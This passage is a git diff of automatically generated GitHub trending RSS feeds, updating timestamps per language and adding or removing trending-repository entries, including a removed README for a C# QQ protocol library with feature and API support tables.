ab5d8a75470..4535385fa8a 100644 --- a/avro-idl/daily/index.xml +++ b/avro-idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Avro IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:42Z + 2024-01-06T01:26:28Z Daily Trending of Avro IDL in GitHub \ No newline at end of file diff --git a/awk/daily/index.xml b/awk/daily/index.xml index e6b35eefe38..7f14ff8aa31 100644 --- a/awk/daily/index.xml +++ b/awk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Awk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:43Z + 2024-01-06T01:26:30Z Daily Trending of Awk in GitHub \ No newline at end of file diff --git a/ballerina/daily/index.xml b/ballerina/daily/index.xml index c512d2e69b9..7e37092cc81 100644 --- a/ballerina/daily/index.xml +++ b/ballerina/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ballerina Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:41Z + 2024-01-06T01:26:31Z Daily Trending of Ballerina in GitHub \ No newline at end of file diff --git a/basic/daily/index.xml b/basic/daily/index.xml index 646d93817d6..a52d946a2c4 100644 --- a/basic/daily/index.xml +++ b/basic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BASIC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:44Z + 2024-01-06T01:26:34Z Daily Trending of BASIC in GitHub \ No newline at end of file diff --git a/batchfile/daily/index.xml b/batchfile/daily/index.xml index 2bae8bafc08..fd1a87387d5 100644 --- a/batchfile/daily/index.xml +++ b/batchfile/daily/index.xml @@ -1,14 +1,7 @@ GitHub Batchfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:49Z + 2024-01-06T01:26:38Z Daily Trending of Batchfile in GitHub - - balena-os/balena-tm3 - 2024-01-05T01:27:49Z - tag:github.com,2024-01-05:/balena-os/balena-tm3 - - <p></p><hr> - \ No newline at end of file diff --git a/beef/daily/index.xml b/beef/daily/index.xml index 19d5bd81c09..ada67be1b5a 100644 --- a/beef/daily/index.xml +++ b/beef/daily/index.xml @@ -1,7 +1,7 @@ GitHub Beef Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:50Z + 2024-01-06T01:26:35Z Daily Trending of Beef in GitHub \ No newline at end of file diff --git a/befunge/daily/index.xml b/befunge/daily/index.xml index 93b82aa398c..b7f053d2983 100644 --- a/befunge/daily/index.xml +++ b/befunge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Befunge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:45Z + 2024-01-06T01:26:33Z Daily Trending of Befunge in GitHub \ No newline at end of file diff --git a/berry/daily/index.xml b/berry/daily/index.xml index 5f8b68b5636..2e3d564a968 100644 --- a/berry/daily/index.xml +++ b/berry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Berry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:54Z + 2024-01-06T01:26:39Z Daily Trending of Berry in GitHub \ No newline at end of file diff --git a/bibtex/daily/index.xml b/bibtex/daily/index.xml index 173703a1c53..96cfc19eab9 100644 --- a/bibtex/daily/index.xml +++ b/bibtex/daily/index.xml @@ -1,7 +1,7 @@ GitHub BibTeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:51Z + 2024-01-06T01:26:42Z Daily Trending of BibTeX in GitHub \ No newline at end of file diff --git a/bicep/daily/index.xml b/bicep/daily/index.xml index 33d08b72a58..b30364580d5 100644 --- a/bicep/daily/index.xml +++ b/bicep/daily/index.xml @@ -1,7 +1,14 @@ GitHub Bicep Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:53Z + 2024-01-06T01:26:44Z Daily Trending of Bicep in GitHub + + DataEngineeringWithNick/DataFactoryCICD + 2024-01-06T01:26:44Z + tag:github.com,2024-01-06:/DataEngineeringWithNick/DataFactoryCICD + + <p>Complete Azure Data Factory CICD Process Via Azure Pipeline</p><hr> + \ No newline at end of file diff --git a/bison/daily/index.xml b/bison/daily/index.xml index ac82616e269..78318a103d1 100644 --- a/bison/daily/index.xml +++ b/bison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:00Z + 2024-01-06T01:26:46Z Daily Trending of Bison in GitHub \ No newline at end of file diff --git a/bitbake/daily/index.xml b/bitbake/daily/index.xml index 889a5be771e..01a3734bda1 100644 --- a/bitbake/daily/index.xml +++ b/bitbake/daily/index.xml @@ -1,7 +1,7 @@ GitHub BitBake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:02Z + 2024-01-06T01:26:49Z Daily Trending of BitBake in GitHub \ No newline at end of file diff --git a/blade/daily/index.xml b/blade/daily/index.xml index b5a8cf648e8..4aecab45aab 100644 --- a/blade/daily/index.xml +++ b/blade/daily/index.xml @@ -1,7 +1,14 @@ GitHub Blade Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:59Z + 2024-01-06T01:26:51Z Daily Trending of Blade in GitHub + + dasundev/livewire-dropzone + 2024-01-06T01:26:51Z + tag:github.com,2024-01-06:/dasundev/livewire-dropzone + + <p>A Livewire Dropzone component for simple drag-and-drop file uploads.</p><hr> + \ No newline at end of file diff --git a/blitzbasic/daily/index.xml b/blitzbasic/daily/index.xml index d374a3c0eb8..2cdb71bb96d 100644 --- a/blitzbasic/daily/index.xml +++ b/blitzbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:57Z + 2024-01-06T01:26:47Z Daily Trending of BlitzBasic in GitHub \ No newline at end of file diff --git a/blitzmax/daily/index.xml b/blitzmax/daily/index.xml index 2e5cd08e198..7d3c5baa7b4 100644 --- a/blitzmax/daily/index.xml +++ b/blitzmax/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzMax Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:05Z + 2024-01-06T01:26:53Z Daily Trending of BlitzMax in GitHub \ No newline at end of file diff --git a/bluespec/daily/index.xml b/bluespec/daily/index.xml index 08b5c087978..58b3cba4cbc 100644 --- a/bluespec/daily/index.xml +++ b/bluespec/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bluespec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:03Z + 2024-01-06T01:26:54Z Daily Trending of Bluespec in GitHub \ No newline at end of file diff --git a/boo/daily/index.xml b/boo/daily/index.xml index 935c09eef9c..d5a7edc6b64 100644 --- a/boo/daily/index.xml +++ b/boo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:06Z + 2024-01-06T01:26:55Z Daily Trending of Boo in GitHub \ No newline at end of file diff --git a/boogie/daily/index.xml b/boogie/daily/index.xml index 74da2d2cbfa..10e7018d562 100644 --- a/boogie/daily/index.xml +++ b/boogie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boogie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:09Z + 2024-01-06T01:26:56Z Daily Trending of Boogie in GitHub \ No newline at end of file diff --git a/brainfuck/daily/index.xml b/brainfuck/daily/index.xml index 63cc767d650..e3353e4ff04 100644 --- a/brainfuck/daily/index.xml +++ b/brainfuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brainfuck Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:07Z + 2024-01-06T01:26:59Z Daily Trending of Brainfuck in GitHub \ No newline at end of file diff --git a/brightscript/daily/index.xml b/brightscript/daily/index.xml index c59a454cbd7..b6adaeda2ed 100644 --- a/brightscript/daily/index.xml +++ b/brightscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brightscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:08Z + 2024-01-06T01:26:58Z Daily Trending of Brightscript in GitHub \ No newline at end of file diff --git a/browserslist/daily/index.xml b/browserslist/daily/index.xml index fc2dcea9f0f..7cebf1abcf5 100644 --- a/browserslist/daily/index.xml +++ b/browserslist/daily/index.xml @@ -1,7 +1,7 @@ GitHub Browserslist Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:11Z + 2024-01-06T01:27:01Z Daily Trending of Browserslist in GitHub \ No newline at end of file diff --git a/c%23/daily/index.xml b/c%23/daily/index.xml index 55815c317a6..b56f29657b6 100644 --- a/c%23/daily/index.xml +++ b/c%23/daily/index.xml @@ -1,14 +1,7 @@ GitHub C# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:31Z + 2024-01-06T01:27:20Z Daily Trending of C# in GitHub - - LagrangeDev/Lagrange.Core - 2024-01-05T01:28:31Z - tag:github.com,2024-01-05:/LagrangeDev/Lagrange.Core - - <p>An Implementation of NTQQ Protocol, with Pure C#, Derived from Konata.Core</p><hr><div align="center"> <h1>Lagrange.Core</h1> <p><a href="https://raw.githubusercontent.com/LagrangeDev/Lagrange.Core/master/#"><img src="https://img.shields.io/badge/Lagrange-Core-blue" alt="Core"></a> <a href="https://raw.githubusercontent.com/LagrangeDev/Lagrange.Core/master/#"><img src="https://img.shields.io/badge/Lagrange-OneBot-blue" alt="OneBot"></a> <a href="https://raw.githubusercontent.com/LagrangeDev/Lagrange.Core/master/#"><img src="https://img.shields.io/badge/Core-%20.NET_6-blue" alt="C#"></a> <a href="https://raw.githubusercontent.com/LagrangeDev/Lagrange.Core/master/#"><img src="https://img.shields.io/badge/OneBot-%20.NET_7-blue" alt="C#"></a></p> <p><a href="https://raw.githubusercontent.com/LagrangeDev/Lagrange.Core/master/#"><img src="https://img.shields.io/static/v1?label=LICENSE&amp;message=GPL-3.0&amp;color=lightrey" alt="License"></a> <a href="https://t.me/+6HNTeJO0JqtlNmRl"><img src="https://img.shields.io/endpoint?url=https%3A%2F%2Ftelegram-badge-4mbpu8e0fit4.runkit.sh%2F%3Furl%3Dhttps%3A%2F%2Ft.me%2F%2B6HNTeJO0JqtlNmRl" alt="Telegram"></a></p> <p><a href="https://trendshift.io/repositories/3486" target="_blank"><img src="https://trendshift.io/api/badge/repositories/3486" alt="Linwenxuan05%2FLagrange.Core | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"></a></p> <p>An Implementation of NTQQ Protocol, with Pure C#, Derived from Konata.Core</p> <h4>Currently out of Updating</h4> </div> <h2>Disclaimer</h2> <p>The Lagrange.Core project, including its developers, contributors, and affiliated individuals or entities, hereby explicitly disclaim any association with, support for, or endorsement of any form of illegal behavior. This disclaimer extends to any use or application of the Lagrange.Core project that may be contrary to local, national, or international laws, regulations, or ethical guidelines.</p> <p>Lagrange.Core is an open-source software project designed to facilitate lawful and ethical applications in its intended use cases. It is the responsibility of each user to ensure that their usage of Lagrange.Core complies with all applicable laws and regulations in their jurisdiction.</p> <p>The developers and contributors of Lagrange.Core assume no liability whatsoever for any actions taken by users that violate the law or engage in any form of illicit activity. Users are solely responsible for their own actions and any consequences that may arise from the use of Lagrange.Core.</p> <p>Furthermore, any discussions, suggestions, or guidance provided by the Lagrange.Core community, including its developers, contributors, and users, should not be interpreted as legal advice. It is strongly recommended that users seek independent legal counsel to understand the legal implications of their actions and ensure compliance with the relevant laws and regulations.</p> <p>By using or accessing Lagrange.Core, the user acknowledges and agrees to release the developers, contributors, and affiliated individuals or entities from any and all liability arising from the use or misuse of the project, including any legal consequences incurred as a result of their actions.</p> <p>Please use Lagrange.Core responsibly and in accordance with the law.</p> <h2>Features List</h2> <table> <thead> <tr> <th>Protocol</th> <th align="center">Support</th> <th>Login</th> <th align="center">Support</th> <th align="left">Messages</th> <th align="center">Support</th> <th align="left">Operations</th> <th align="center">Support</th> <th align="left">Events</th> <th align="center">Support</th> </tr> </thead> <tbody> <tr> <td>Windows</td> <td align="center">๐ŸŸข</td> <td>QrCode</td> <td align="center">๐ŸŸข</td> <td align="left">Images</td> <td align="center">๐ŸŸข</td> <td align="left"><del>Poke</del></td> <td align="center">๐Ÿ”ด</td> <td align="left">Captcha</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>macOS</td> <td align="center">๐ŸŸข</td> <td>Password</td> <td align="center">๐ŸŸข</td> <td align="left">Text / At</td> <td align="center">๐ŸŸข</td> <td align="left">Recall</td> <td align="center">๐ŸŸก</td> <td align="left">BotOnline</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Linux</td> <td align="center">๐ŸŸข</td> <td>EasyLogin</td> <td align="center">๐ŸŸข</td> <td align="left"><del>Records</del></td> <td align="center">๐Ÿ”ด</td> <td align="left">Leave Group</td> <td align="center">๐ŸŸข</td> <td align="left">BotOffline</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td></td> <td align="center"></td> <td>UnusalDevice<br>Password</td> <td align="center">๐Ÿ”ด</td> <td align="left">QFace</td> <td align="center">๐ŸŸข</td> <td align="left"><del>Special Title</del></td> <td align="center">๐Ÿ”ด</td> <td align="left">Message</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td></td> <td align="center"></td> <td>UnusalDevice<br>Easy</td> <td align="center">๐ŸŸข</td> <td align="left">Json</td> <td align="center">๐ŸŸก</td> <td align="left">Kick Member</td> <td align="center">๐ŸŸข</td> <td align="left"><del>Poke</del></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td></td> <td align="center"></td> <td>NewDeviceVerify</td> <td align="center">๐Ÿ”ด</td> <td align="left">Xml</td> <td align="center">๐ŸŸข</td> <td align="left">Mute Member</td> <td align="center">๐ŸŸข</td> <td align="left">MessageRecall</td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left">Forward</td> <td align="center">๐ŸŸข</td> <td align="left">Set Admin</td> <td align="center">๐ŸŸข</td> <td align="left">GroupMemberDecrease</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left">Video</td> <td align="center">๐Ÿ”ด</td> <td align="left">Friend Request</td> <td align="center">๐Ÿ”ด</td> <td align="left">GroupMemberIncrease</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left"><del>Flash Image</del></td> <td align="center">๐Ÿ”ด</td> <td align="left">Group Request</td> <td align="center">๐ŸŸข</td> <td align="left">GroupPromoteAdmin</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left">Reply</td> <td align="center">๐ŸŸข</td> <td align="left"><del>Voice Call</del></td> <td align="center">๐Ÿ”ด</td> <td align="left">GroupInvite</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left">File</td> <td align="center">๐ŸŸก</td> <td align="left">Client Key</td> <td align="center">๐ŸŸข</td> <td align="left">GroupRequestJoin</td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left"></td> <td align="center"></td> <td align="left">Cookies</td> <td align="center">๐ŸŸข</td> <td align="left">FriendRequest</td> <td align="center">๐ŸŸข</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left"></td> <td align="center"></td> <td align="left">Send Message</td> <td align="center">๐ŸŸข</td> <td align="left"><del>FriendTyping</del></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td></td> <td align="center"></td> <td></td> <td align="center"></td> <td align="left"></td> <td align="center"></td> <td align="left"></td> <td align="center"></td> <td align="left"><del>FriendVoiceCall</del></td> <td align="center">๐Ÿ”ด</td> </tr> </tbody> </table> <h2>Lagrange.OneBot</h2> <h3>Implementation - OneBot v11</h3> <h4>The Binary for development could be found in Actions Artifacts</h4> <details> <summary>Message Segement</summary> <table> <thead> <tr> <th>Message Segement</th> <th align="center">Support</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#qq-%E8%A1%A8%E6%83%85">Text</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#qq-%E8%A1%A8%E6%83%85">Face</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E5%9B%BE%E7%89%87">Image</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E8%AF%AD%E9%9F%B3">Record</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E7%9F%AD%E8%A7%86%E9%A2%91">Video</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E6%9F%90%E4%BA%BA">At</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E7%8C%9C%E6%8B%B3%E9%AD%94%E6%B3%95%E8%A1%A8%E6%83%85">Rps</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E6%8E%B7%E9%AA%B0%E5%AD%90%E9%AD%94%E6%B3%95%E8%A1%A8%E6%83%85">Dice</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E7%AA%97%E5%8F%A3%E6%8A%96%E5%8A%A8%E6%88%B3%E4%B8%80%E6%88%B3-">Shake</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E6%88%B3%E4%B8%80%E6%88%B3">Poke</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E5%8C%BF%E5%90%8D%E5%8F%91%E6%B6%88%E6%81%AF-">Anonymous</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E9%93%BE%E6%8E%A5%E5%88%86%E4%BA%AB">Share</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E6%8E%A8%E8%8D%90%E5%A5%BD%E5%8F%8B">Contact</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E4%BD%8D%E7%BD%AE">Location</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E9%9F%B3%E4%B9%90%E5%88%86%E4%BA%AB-">Music</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E5%9B%9E%E5%A4%8D">Reply</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E5%90%88%E5%B9%B6%E8%BD%AC%E5%8F%91-">Forward</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#%E5%90%88%E5%B9%B6%E8%BD%AC%E5%8F%91%E8%8A%82%E7%82%B9-">Node</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#xml-%E6%B6%88%E6%81%AF">Xml</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/message/segment.md#json-%E6%B6%88%E6%81%AF">Json</a></td> <td align="center">๐Ÿ”ด</td> </tr> </tbody> </table> </details> <details> <summary>API</summary> <table> <thead> <tr> <th>API</th> <th align="center">Support</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#send_private_msg-%E5%8F%91%E9%80%81%E7%A7%81%E8%81%8A%E6%B6%88%E6%81%AF">/send_private_msg</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#send_group_msg-%E5%8F%91%E9%80%81%E7%BE%A4%E6%B6%88%E6%81%AF">/send_group_msg</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#send_msg-%E5%8F%91%E9%80%81%E6%B6%88%E6%81%AF">/send_msg</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#delete_msg-%E6%92%A4%E5%9B%9E%E6%B6%88%E6%81%AF">/delete_msg</a></td> <td align="center">๐ŸŸก</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_msg-%E8%8E%B7%E5%8F%96%E6%B6%88%E6%81%AF">/get_msg</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_forward_msg-%E8%8E%B7%E5%8F%96%E5%90%88%E5%B9%B6%E8%BD%AC%E5%8F%91%E6%B6%88%E6%81%AF">/get_forward_msg</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><del><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#send_like-%E5%8F%91%E9%80%81%E5%A5%BD%E5%8F%8B%E8%B5%9E">/send_like</a></del></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_kick-%E7%BE%A4%E7%BB%84%E8%B8%A2%E4%BA%BA">/set_group_kick</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_ban-%E7%BE%A4%E7%BB%84%E5%8D%95%E4%BA%BA%E7%A6%81%E8%A8%80">/set_group_ban</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_anonymous_ban-%E7%BE%A4%E7%BB%84%E5%8C%BF%E5%90%8D%E7%94%A8%E6%88%B7%E7%A6%81%E8%A8%80">/set_group_anonymous_ban</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_whole_ban-%E7%BE%A4%E7%BB%84%E5%85%A8%E5%91%98%E7%A6%81%E8%A8%80">/set_group_whole_ban</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_admin-%E7%BE%A4%E7%BB%84%E8%AE%BE%E7%BD%AE%E7%AE%A1%E7%90%86%E5%91%98">/set_group_admin</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_anonymous-%E7%BE%A4%E7%BB%84%E5%8C%BF%E5%90%8D">/set_group_anonymous</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_card-%E8%AE%BE%E7%BD%AE%E7%BE%A4%E5%90%8D%E7%89%87%E7%BE%A4%E5%A4%87%E6%B3%A8">/set_group_card</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_name-%E8%AE%BE%E7%BD%AE%E7%BE%A4%E5%90%8D">/set_group_name</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_leave-%E9%80%80%E5%87%BA%E7%BE%A4%E7%BB%84">/set_group_leave</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_special_title-%E8%AE%BE%E7%BD%AE%E7%BE%A4%E7%BB%84%E4%B8%93%E5%B1%9E%E5%A4%B4%E8%A1%94">/set_group_special_title</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_friend_add_request-%E5%A4%84%E7%90%86%E5%8A%A0%E5%A5%BD%E5%8F%8B%E8%AF%B7%E6%B1%82">/set_friend_add_request</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_group_add_request-%E5%A4%84%E7%90%86%E5%8A%A0%E7%BE%A4%E8%AF%B7%E6%B1%82%E9%82%80%E8%AF%B7">/set_group_add_request</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_login_info-%E8%8E%B7%E5%8F%96%E7%99%BB%E5%BD%95%E5%8F%B7%E4%BF%A1%E6%81%AF">/get_login_info</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_stranger_info-%E8%8E%B7%E5%8F%96%E9%99%8C%E7%94%9F%E4%BA%BA%E4%BF%A1%E6%81%AF">/get_stranger_info</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_friend_list-%E8%8E%B7%E5%8F%96%E5%A5%BD%E5%8F%8B%E5%88%97%E8%A1%A8">/get_friend_list</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_group_info-%E8%8E%B7%E5%8F%96%E7%BE%A4%E4%BF%A1%E6%81%AF">/get_group_info</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_group_list-%E8%8E%B7%E5%8F%96%E7%BE%A4%E5%88%97%E8%A1%A8">/get_group_list</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_group_member_info-%E8%8E%B7%E5%8F%96%E7%BE%A4%E6%88%90%E5%91%98%E4%BF%A1%E6%81%AF">/get_group_member_info</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_group_member_list-%E8%8E%B7%E5%8F%96%E7%BE%A4%E6%88%90%E5%91%98%E5%88%97%E8%A1%A8">/get_group_member_list</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_group_honor_info-%E8%8E%B7%E5%8F%96%E7%BE%A4%E8%8D%A3%E8%AA%89%E4%BF%A1%E6%81%AF">/get_group_honor_info</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_cookies-%E8%8E%B7%E5%8F%96-cookies">/get_cookies</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_csrf_token-%E8%8E%B7%E5%8F%96-csrf-token">/get_csrf_token</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_credentials-%E8%8E%B7%E5%8F%96-qq-%E7%9B%B8%E5%85%B3%E6%8E%A5%E5%8F%A3%E5%87%AD%E8%AF%81">/get_credentials</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_record-%E8%8E%B7%E5%8F%96%E8%AF%AD%E9%9F%B3">/get_record</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_image-%E8%8E%B7%E5%8F%96%E5%9B%BE%E7%89%87">/get_image</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#can_send_image-%E6%A3%80%E6%9F%A5%E6%98%AF%E5%90%A6%E5%8F%AF%E4%BB%A5%E5%8F%91%E9%80%81%E5%9B%BE%E7%89%87">/can_send_image</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#can_send_record-%E6%A3%80%E6%9F%A5%E6%98%AF%E5%90%A6%E5%8F%AF%E4%BB%A5%E5%8F%91%E9%80%81%E8%AF%AD%E9%9F%B3">/can_send_record</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_status-%E8%8E%B7%E5%8F%96%E8%BF%90%E8%A1%8C%E7%8A%B6%E6%80%81">/get_status</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#get_version_info-%E8%8E%B7%E5%8F%96%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF">/get_version_info</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a 